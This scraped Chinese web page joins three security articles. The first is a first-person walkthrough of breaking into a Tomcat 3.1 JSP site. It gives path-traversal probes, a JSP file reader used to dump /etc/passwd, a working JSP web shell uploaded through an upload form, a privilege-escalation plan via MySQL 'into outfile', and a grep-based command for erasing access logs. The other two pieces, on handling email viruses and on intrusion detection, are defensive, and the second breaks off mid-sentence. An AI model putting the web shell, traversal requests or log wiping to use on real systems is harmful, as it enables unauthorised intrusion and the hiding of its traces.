WEB入侵jsp的过程

作者:小菜 更新时间:2025-03-16 点击数:
简介:很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。

网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.

【菜科解读】

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。

网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080 GET /CHINANSL HTTP/1.1 [Enter] [Enter] 返回的结果如下: HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 Error: 404 Location: /CHINANSLFile Not Found/CHINANSL 我获得了运行的WEBServer的名称"Tomcat 3.1"。

我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

大概是:通过".."技术可以退出WEB目录,于是: http://target:8080/../../../../.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) 嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ 管理员果然没有删除或禁止访问这个目录:-(失误!!!!! 接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。

几口咖啡的时间,我写了这么一个东东出来: %@ page import="java.io.*" %> % String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+""); } }catch(IOException e){} %> 通过上传的组件将这个jsp上传到对方的WEB目录里,然后: http://target:8080/upload/test.jsp?file=/etc/passwd 嘿嘿,密码出来啦。

我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。

(失误) 接下来的过程是无聊的猜测密码,没有成功。

算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧! 再写: %@ page import="java.io.*" %> % try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %> 然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (我这里就不列出来了) 怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql: sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld 显示: root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql 嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。

(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。

然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root. 嘿嘿,真是好办法,我都为我的想法感到得意...... 接下去的事情,差点没让我吐血: 我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id 显示: uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。

竟然折腾了这么半天,哎! http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) 剩下来的事情: 1、删除我的telnet记录。

2、删除http的日志。

至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。

我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。

所以,发封邮件告诉system admin吧! 当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!

WEB,入侵,jsp,的,过程,很,偶然,的,一个,机会,看

邮件被病毒入侵遵循该如何处理?

当你不幸遭遇病毒入侵之后,当机立断的一件事就是断开你的网络连接,以避免病毒的进一步扩散。

二、文件备份 然后就是删除带毒的邮件,再运行杀毒软件进行清除,但为了防止杀毒软件误杀或是删除你还没有处理完的文档和重要的邮件,你应该首先将它们转移备份到其他储存媒体上。

有些长文件名的文件和未处理的邮件要求在Windows下备份,所以建议你先不要退出Windows,因为病毒一旦发作,也许就不能进入Windows了。

不管这些文件是否带毒了,你都应该备份,因为有些病毒是专门针对某个杀毒软件设计的,一运行就会破坏其他的文件,所以先备份是以防万一的措施。

等你清除完硬盘内的病毒后,再来慢慢分析处理这些额外备份的文件较为妥善。

另外对你的重要文件也要做备份,最好是备份到其他移动存储设备上,如USB盘、移动硬盘、刻录盘等,尽量不要使用本地硬盘,以确保数据的安全。

如果在平时作了GHOST备份,利用映像文件来恢复系统,这样连潜在的木马程序也清除了,当然,这要求你的GHOST备份是没有病毒。

三、借助杀毒软件 做好前面的准备工作后,这时就应该关闭计算机后再启动机器,然后用一张干净的DOS启动盘来引导系统。

另外,由于中毒后,Windows已经被破坏了部分关键文件,会频繁地非法操作,所以Windows下的杀毒软件可能会无法运行,所以应该准备一个DOS下的杀毒软件以防万一。

即使能在Windows下运行杀毒软件的,也尽量用两种以上的工具软件来交叉清理。

在多数情况下Windows可能要重装,因为病毒会破坏掉一部分文件让系统变慢或出现频繁的非法操作。

由于杀毒软件在开发时侧重点不同、使用的杀毒引擎不同,各种杀毒软件都有自己的长处和短处,交叉使用效果较理想。

现在流行的杀毒软件在技术上都有所提高,并能及时更新病毒库,因此一般情况下你所碰到的病毒是应该在杀毒软件的围剿范围内的。

四、安全处理 包括登录网络的用户名、密码、邮箱和QQ密码等,防止黑客已经在上次入侵过程中知道了你的密码。

另外因为很多蠕虫病毒发作后会向外随机发送你的信息,所以适当地更改是必要的。

五、预防邮件病毒 邮件病毒其实和普通的电脑病毒一样,只不过由于它们的传播途径主要是通过电子邮件,所以才被称为邮件病毒。

它们一般是通过在邮件中附件夹带的方法进行扩散的,你运行了该附件中的病毒程序,才能够使你的电脑染毒。

知道了这一点,我们就不难采取相应的措施进行防范了。

病毒是夹带在邮件中的,邮件是 死 的,其中的病毒也不会主动变活的。

一般可能是一个带病毒的附件,你不去运行它,它当然不会侵染你的系统。

不要轻易打开陌生人来信中的附件文件。

当你收到陌生人寄来的一些自称是不可不看的有趣邮件时,千万不要不加思索地打开它。

尤其对于一些 .exe 之类的可执行文件,就更要谨慎。

对于比较熟悉的朋友寄来的信件,如果其邮件中夹带了附件,但是他却没有在邮件中提及或是说明,也不要轻易运行。

因为有些病毒是偷偷地附着上去的---也许他的电脑已经染毒,可他自己却不知道。

比如 Happy 99 就是这样的病毒。

给别人发送程序文件甚至包括电子贺卡时,一定要先确认没有问题后再发,以免成为病毒的传播者。

另外,应该切忌盲目转发:有的朋友当收到某些自认为有趣的邮件时,还来不及细看就打开通讯簿给自己的每一位朋友都转发一份,这极有可能使病毒的制造者恶行得逞,而你的朋友对你发来的信无疑是不会产生怀疑的,结果你无意中成为病毒的传播者。

一般邮件病毒的传播是通过附件进行的。

如Happy 99、Mellissa(美丽杀手)等。

你用FoxMail收到的邮件中会看到带病毒的附件,如名为 Happy 99.exe 的文件,不用担心,不要运行它,直接删掉就可以了。

有些是潜伏在Word文件中的宏病毒,因此对Word文件形式的附件,也要小心。

另一种病毒是利用ActiveX来传播的。

由于一些E-mail软件如Outlook等可以发送HTML格式的邮件,而html文件可包含ActiveX控件,而ActiveX在某些情况下又可以拥有对你的硬盘的读写权,因此带有病毒的HTML格式的邮件,可以在你浏览邮件内容时被激活,但这种情况仅限于HTML格式的邮件。

邮件,被,病毒,入侵,遵循,该,怎么,处理,邮件,

入侵检测实战之全面问答

在网络安全领域,随着黑客应用技术的不断“傻瓜化”,入侵检测系统IDS的地位正在逐渐增加。

一个网络中,只有有效实施了IDS,才能敏锐地察觉攻击者的侵犯行为,才能防患于未然!本文对IDS的概念、行为及策略等方面内容以问答形式进行全面介绍,期望帮助管理者更快和更好地使用IDS。

问:都有哪些重要的IDS系统? 根据监测对象不同,IDS系统分为很多种,以下是几种很重要的IDS系统: 1、NIDS NIDS是network intrusion detection system的缩写,即网络入侵检测系统,主要用于检测hacker或cracker通过网络进行的入侵行为。

NIDS的运行方式有两种,一种是在目标主机上运行以监测其本身的通讯信息,另一种是在一台单独的机器上运行以监测所有网络设备的通讯信息,比如hub、路由器。

2、SIV SIV是system integrity verifiers的缩写,即系统完整性检测,主要用于监视系统文件或者Windows 注册表等重要信息是否被修改,以堵上攻击者日后来访的后门。

SIV更多的是以工具软件的形式出现,比如著名的“Tripwire”,它可以检测到重要系统组件的变换情况,但并不产生实时的报警信息。

3、LFM LFM是log file monitors的缩写,即日志文件监测器,主要用于监测网络服务所产生的日志文件。

LFM通过检测日志文件内容并与关键字进行匹配的方式判断入侵行为,例如对于HTTP服务器的日志文件,只要搜索“swatch”关键字,就可以判断出是否有“phf”攻击。

4、Honeypots 蜜罐系统,也就是诱骗系统,它是一个包含漏洞的系统,通过模拟一个或多个易受攻击的主机,给黑客提供一个容易攻击的目标。

由于蜜罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。

蜜罐的另一个用途是拖延攻击者对其真正目标的攻击,让攻击者在蜜罐上浪费时间。

与此同时,最初的攻击目标受到了保护,真正有价值的内容将不受侵犯。

蜜罐最初的目的之一是为起诉恶意黑客搜集证据,这看起来有“诱捕”的感觉。

问:谁是入侵者? 通常我们将入侵者称为hacker,但实际上这是不准确的。

可以这么说:hacker是发现系统漏洞并修补漏洞的,cracker才是利用漏洞占山头搞破坏的入侵者。

为了不混淆视听,在此干脆统一叫作入侵者吧。

一般来说,入侵者分为两类:内部和外部。

内部入侵者通常利用社会工程学盗用非授权帐户进行非法活动,比如使用其他人的机器、冒充是处长或局长;外部入侵者则要借助一定的攻击技术对攻击目标进行监测、查漏,然后采取破坏活动。

有一点请牢记:统计表明,入侵行为有80%来自内部。

问:入侵者如何进入系统? 主要有三种方式: 1、物理入侵 指入侵者以物理方式访问一个机器进行破坏活动,例如趁人不备遛进机房重地赶紧敲打两下键盘试图闯入操作系统、拿着钳子改锥卸掉机器外壳“借”走硬盘装在另一台机器上进行深入研究。

2、系统入侵 指入侵者在拥有系统的一个低级账号权限下进行的破坏活动。

通常,如果系统没有及时“打”最近的补丁程序,那么拥有低级权限的用户就可能利用系统漏洞获取更高的管理特权。

3、远程入侵 指入侵者通过网络渗透到一个系统中。

这种情况下,入侵者通常不具备任何特殊权限,他们要通过漏洞扫描或端口扫描等技术发现攻击目标,再利用相关技术执行破坏活动。

NIDS主要针对的就是这种入侵。

问:入侵者为何能闯入系统? 苍蝇不盯无缝的蛋,入侵者只要找到复杂的计算机网络中的一个缝,就能轻而易举地闯入系统。

所以,了解这些缝都有可能在哪里,对于修补它们至关重要。

通常,裂缝主要表现在软件编写存在bug、系统配置不当、口令失窃、明文通讯信息被监听以及初始设计存在缺陷等方面。

1、软件编写存在bug 无论是服务器程序、客户端软件还是操作系统,只要是用代码编写的东西,都会存在不同程度的bug。

Bug主要分为以下几类: 缓冲区溢出:指入侵者在程序的有关输入项目中了输入了超过规定长度的字符串,超过的部分通常就是入侵者想要执行的攻击代码,而程序编写者又没有进行输入长度的检查,最终导致多出的攻击代码占据了输入缓冲区后的内存而执行。

别以为为登录用户名留出了200个字符就够了而不再做长度检查,所谓防小人不防君子,入侵者会想尽一切办法尝试攻击的途径的。

意料外的联合使用问题:一个程序经常由功能不同的多层代码组成,甚至会涉及到最底层的操作系统级别。

入侵者通常会利用这个特点为不同的层输入不同的内容,以达到窃取信息的目的。

例如:对于由Perl编写的程序,入侵者可以在程序的输入项目中输入类似“| mail 入侵检测,实战,之,全面,问答,在,网络安全,

加入收藏
               

WEB入侵jsp的过程

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录